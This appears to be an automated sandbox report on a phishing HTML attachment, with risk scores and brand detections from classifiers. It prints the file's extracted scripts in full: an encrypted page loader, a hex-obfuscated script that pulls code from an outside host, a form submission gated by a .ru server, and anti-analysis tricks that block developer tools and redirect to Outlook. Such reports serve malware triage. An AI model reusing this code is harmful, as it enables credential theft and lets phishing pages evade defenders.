Windows Analysis Report
(Lhambright)VWAV.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://microsoft.com

{
    "risk_score": 5,
    "reasoning": "The script demonstrates moderate-risk behaviors, including the use of external data transmission and obfuscated code. However, it appears to be using a legitimate cryptography library (CryptoJS) and the purpose is not immediately clear. Further investigation may be needed to determine the full context and intent of the script."
}

    var kcaLfnMmGrJcEpmV = document.createElement("script");
kcaLfnMmGrJcEpmV.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(kcaLfnMmGrJcEpmV);
kcaLfnMmGrJcEpmV.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoia1BpODc5em5WeVBtUWJJVE8xNkk1dGZobWY0ZzBEb1k2cmc0OEt3MnNTZGJBOVZtR25FRHc1d0Q2RDltVGVuUVY1UVVjeWxZSzRVbG82R1FySklaZ3hmb1NIbmpUaWpSd0dzYWVoNkRCSVA3WVFtNndqWlRmZDVCWHBia2MxSW55T3FiWWQyMXNBWGIyXC9hUU9nN3FcL2lndjgrZFdralF6SXRHM3NHZFllUDBcLzdLbmFHeTV4QzJIZ2NPU1BTS3VFZXViMXJJUFwvUWlSRzRcL3h5eUtOQldybGJKK1ZoeWYyME1VcmFDVnRtRE5iNzRCN0xaQmVVeHhTM1krS3NJbFFESnVyQXZYUVwvMlcyeU5CcmpWVWo1SmwwdUprTm16MjBCTWVmSHgyekFMYzNpOWgxNmJaazRUTldKSWlzTWpnS2t5SFZMVzdKTkxmVkpIZXI5aTJ2a1B2dzc0bk9temtnUEJGMkUxXC9HeWJvMjdUODNWTE9yZUlCMmNlamVoYmt1S09EOXJWdkJ2aE9jYzZ1bWJvekN6YVU5NGpHdkhFYjhSR2pQejJBcWdZZTMrb24raDFGOFVoMTV1UFc2cXhRVUJSRlREUWxMak1iTDF2UGNrXC9kMEcrV2RqODdGQ2NSRm0ybjlUUU5tZnErUmhoaDZJZVdTUmc2YXBMVXE1cjhwdFMzbkNvXC9nVEhqV0x0ZWlVWnpjMVhTXC9VK3dGRnhPMnh5bFBTYzBtQ000Zmw4aVwvdHVtTVAza1MrWlwvbVZmaUZQWXFJSzFzSnBDeHZ6N2FqTElLWVIzaHpVZ0MwYzJpdXBLQU9GbFdNcVFHcG9uWDFaWFdmUFRoVGhHTnMrZngwcU9DWVhzcjdUc29BbnJLeXY0S09uSDRSeEtyemtBMWdTM2pPeG4zUUl0eDFVT2k0Y2FubzlmakxiV2VwdXJcL0pTWlJCSk9VeG1zeGV4MTd2RVlUSGFIUkdrVE1pOUxGYmRTRTVUNVdaN0NGQ2lzanp0K2NnNkd4dk8rbmEwN2lqWmFDUW1LXC9qT3lHbEtnYkZhaXVlanNuZWRUdk5DdDJJK21GOStlNmpaamdLNTZHYklXaUFabVlvY1ZJbDVsbzFKSGVzS1RPNlcxdDZjWU93cFhHZWFPSEl0S0xsTzJGNkFGdEpnU2x0R1F1QT0iLCJiIjoiNWUwZGZjN2E2OGQ3YjkzMjBkOGY3NGNkMTE1MjI2ZjciLCJjIjoiMmU4YzRmMzQ1NDYwOWJjNzdkMWFiOTljNDM0MTRkMTYiLCJkIjoiNjYzMzM2NjU2MzY1MzgzMjM2NjI2NjMxNjQ2NjMzMzkzOTY1NjMzMTMxMzUzMDM5NjMzNDY2NjYzMjYzMzkzNSJ9"));
var qjxHJAHHxGrpJJnE = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
nisGjXaRenzdsuSH = CryptoJS.AES.decrypt(a,qjxHJAHHxGrpJJnE,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
nisGjXaRenzdsuSH = nisGjXaRenzdsuSH.replace(/pKdKUhbkGDakkjdQ/g, fanwort);
document.write(nisGjXaRenzdsuSH);
}

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function, which can execute remote code, and it sends user data to an unknown domain. Additionally, the script redirects the user to 'https://www.outlook.com' in certain scenarios, which is a suspicious behavior. Overall, this script demonstrates a high level of malicious intent and poses a significant security risk."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAAd9ckI0KOuHtG96',
    'error-callback': uKnzuAYNri,
    callback: GKfnMWEjNC,
});
function uKnzuAYNri() {
    turnstile.reset();
}
function GKfnMWEjNC() {
    var JsKDRzuPxC = document.getElementById("bFEzhgHRxg");
    JsKDRzuPxC.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'kp84nK';
    var knKDivengF = "../jiVL5QuuwL3xSaklgXKWIdIuWwil";
    fetch('https://qsqQN3JEjalPfc1uNi5ur2Q76UOGg4ad7uKY9tZDNCEelZ3uvjr3d.ezmbsgzm.ru/574920970926252317118124dWqnRqWbxeYIAMUVKHJEITVTMNFCCCTKBFODDRBCZ', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(knKDivengF, {
        method: "POST",
        body: new FormData(JsKDRzuPxC)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(TrzllYvZcp == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.outlook.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.outlook.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.outlook.com');
    });
}

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and implementing a debugger-based redirection mechanism. These behaviors suggest an attempt to prevent analysis and potentially redirect users to a malicious domain. The overall combination of these factors indicates a high-risk script that should be further investigated."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
TrzllYvZcp = false;
(function ZmCiloMRaK() {
    let jfadTYGmTz = false;
    const NeHCsFieYM = 100;
    setInterval(function() {
        const TUILVPcapk = performance.now();
        debugger;
        const euTSPkuecS = performance.now();
        if (euTSPkuecS - TUILVPcapk > NeHCsFieYM && !jfadTYGmTz) {
            TrzllYvZcp = true;
            jfadTYGmTz = true;
            window.location.replace('https://www.outlook.com');
        }
    }, 100);
})();
    

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The script uses the `Function` constructor to execute a dynamically generated string, which is likely to contain malicious code. Additionally, the script appears to be sending user data to an external domain, which is a clear indicator of potential data exfiltration. The obfuscated code and the use of a suspicious-looking domain name further increase the risk score. Overall, this script exhibits a high level of malicious intent and should be treated with caution."
}

fanwort = '#bGhhbWJyaWdodEBzcG9ydG1lZC5jb20=';
new Function(
  (() => {
    let Vpeg = '77656173656c203d2022687474222b227073222b223a2f2f62696f76222b27656e74757265776f272b22726b73686f702e222b22636f6d222b222f72222b6065733434342e70602b2768703f322d363837272b2234373437303733222b273361326632272b2766373037272b606134373265366636602b226536333635366536222b60313734602b60373337333265602b27363336272b60663664602b27326635272b603836653337366134602b22623431346436222b6064353036613531602b273737363636272b60383739363536602b2739363736373636272b2237393538356637222b27383538373136272b2733373634613330272b60373332662d66602b22616e77222b276f7274273b0a646f63756d656e745b277772697465275d28223c736372697074207372633d2722202b2077656173656c202b2022273e3c5c2f7363726970743e22293b';
    let cpCl = '';
    for (let YbMd = 0; YbMd < Vpeg.length; YbMd += 2) {
      cpCl += String.fromCharCode(parseInt(Vpeg.substr(YbMd, 2), 16));
    }
    return cpCl;
  })()
)();

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9lMWpLLm9uY2VuYXRzcy5jb20vWG43aktBTW1QalF3Zmh5ZWlnZ2Z5WF94WHFjdkowcy8=") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNkcnlabkV3b2ZCIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2RyeVpuRXdvZkIgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2RyeVpuRXdvZkIgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojZHJ5Wm5Fd29mQiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2RyeVpuRXdvZkIuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTQ0cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNkcnlabkV3b2ZCIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojZHJ5Wm5Fd29mQiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2RyeVpuRXdvZkIgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojZHJ5Wm5Fd29mQiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojZHJ5Wm5Fd29mQiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2RyeVpuRXdvZkIgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2RyeVpuRXdvZkIubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNkcnlabkV3b2ZCIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojZHJ5Wm5Fd29mQiAjcUJCY1N2S3FPRCB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KVHJ6bGxZdlpjcCA9IGZhbHNlOw0KKGZ1bmN0aW9uIFptQ2lsb01SYUsoKSB7DQogICAgbGV0IGpmYWRUWUdtVHogPSBmYWxzZTsNCiAgICBjb25zdCBOZUhDc0ZpZVlNID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBUVUlMVlBjYXBrID0g

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}